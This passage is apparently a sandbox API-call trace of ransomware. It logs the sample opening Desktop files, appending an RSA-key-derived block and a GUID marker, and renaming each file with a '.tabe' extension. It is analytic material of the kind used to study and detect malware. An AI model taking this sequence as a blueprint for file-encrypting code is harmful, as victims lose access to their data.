MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qbFQavKzY7DOO2Fa3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qbfqavkzy7doo2fa3.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qbFQavKzY7DOO2Fa3.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qbfqavkzy7doo2fa3.png.tabe")) returned 1 [0126.199] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7baba440, ftCreationTime.dwHighDateTime=0x1d5ddd0, ftLastAccessTime.dwLowDateTime=0x38563790, ftLastAccessTime.dwHighDateTime=0x1d5d9da, ftLastWriteTime.dwLowDateTime=0x38563790, ftLastWriteTime.dwHighDateTime=0x1d5d9da, nFileSizeHigh=0x0, nFileSizeLow=0xd27b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="S51hIWg-vULNLHl.png", cAlternateFileName="S51HIW~1.PNG")) returned 1 [0126.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S51hIWg-vULNLHl.png") returned=".png" [0126.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S51hIWg-vULNLHl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s51hiwg-vulnlhl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.200] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=53883) returned 1 [0126.200] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.201] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd255, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.201] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.202] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd27b, lpOverlapped=0x0) returned 1 [0126.202] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.202] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.202] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.202] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.203] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.203] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.203] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.203] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.203] GetLastError () returned 0x0 [0126.203] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.203] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.203] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.203] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.203] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.203] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.204] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd27b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.204] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.204] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.204] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.204] CloseHandle (hObject=0x618) returned 1 [0126.205] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S51hIWg-vULNLHl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s51hiwg-vulnlhl.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S51hIWg-vULNLHl.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s51hiwg-vulnlhl.png.tabe")) returned 1 [0126.206] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d57f760, ftCreationTime.dwHighDateTime=0x1d5e3cd, ftLastAccessTime.dwLowDateTime=0x71983130, ftLastAccessTime.dwHighDateTime=0x1d5de7f, ftLastWriteTime.dwLowDateTime=0x71983130, ftLastWriteTime.dwHighDateTime=0x1d5de7f, nFileSizeHigh=0x0, nFileSizeLow=0x26cb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="v0qSv 4KL-r8YM-GgMBG.gif", cAlternateFileName="V0QSV4~1.GIF")) returned 1 [0126.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v0qSv 4KL-r8YM-GgMBG.gif") returned=".gif" [0126.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v0qSv 4KL-r8YM-GgMBG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v0qsv 4kl-r8ym-ggmbg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.206] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=9931) returned 1 [0126.206] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.207] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x26a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.207] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.208] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x26cb, lpOverlapped=0x0) returned 1 [0126.208] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.208] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.208] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.208] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.209] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.209] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.209] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.209] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.209] GetLastError () returned 0x0 [0126.209] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.209] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.209] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.209] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.209] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.209] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.210] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x26cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.210] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.210] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.210] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.210] CloseHandle (hObject=0x618) returned 1 [0126.211] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v0qSv 4KL-r8YM-GgMBG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v0qsv 4kl-r8ym-ggmbg.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v0qSv 4KL-r8YM-GgMBG.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v0qsv 4kl-r8ym-ggmbg.gif.tabe")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2ac0dd0, ftCreationTime.dwHighDateTime=0x1d5d7d1, ftLastAccessTime.dwLowDateTime=0xc4839000, ftLastAccessTime.dwHighDateTime=0x1d5e321, ftLastWriteTime.dwLowDateTime=0xc4839000, ftLastWriteTime.dwHighDateTime=0x1d5e321, nFileSizeHigh=0x0, nFileSizeLow=0x5a45, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="XXVzs.ots", cAlternateFileName="")) returned 1 [0126.213] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XXVzs.ots") returned=".ots" [0126.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XXVzs.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xxvzs.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.213] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=23109) returned 1 [0126.213] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.214] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5a1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.214] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.216] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.216] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x5a45, lpOverlapped=0x0) returned 1 [0126.216] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.216] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.216] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.216] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.217] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.217] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.217] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.217] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.217] GetLastError () returned 0x0 [0126.217] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.217] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.217] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.217] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.217] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.218] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.218] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5a45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.218] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.218] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.218] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.218] CloseHandle (hObject=0x618) returned 1 [0126.219] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XXVzs.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xxvzs.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XXVzs.ots.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xxvzs.ots.tabe")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90c9110, ftCreationTime.dwHighDateTime=0x1d5e537, ftLastAccessTime.dwLowDateTime=0xab188e0, ftLastAccessTime.dwHighDateTime=0x1d5de98, ftLastWriteTime.dwLowDateTime=0xab188e0, ftLastWriteTime.dwHighDateTime=0x1d5de98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Yr-pcf 3y122NkdCREb", cAlternateFileName="YR-PCF~1")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb63260, ftCreationTime.dwHighDateTime=0x1d5e6d6, ftLastAccessTime.dwLowDateTime=0xa3fefea0, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0xa3fefea0, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x3e11, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zmKlsT4Rdm2.mp4", cAlternateFileName="ZMKLST~1.MP4")) returned 1 [0126.220] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zmKlsT4Rdm2.mp4") returned=".mp4" [0126.220] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zmKlsT4Rdm2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zmklst4rdm2.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.220] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=15889) returned 1 [0126.220] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.221] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3deb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.221] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.222] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x3e11, lpOverlapped=0x0) returned 1 [0126.222] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.222] lstrlenA (lpString="-----BEGIN PUBLIC 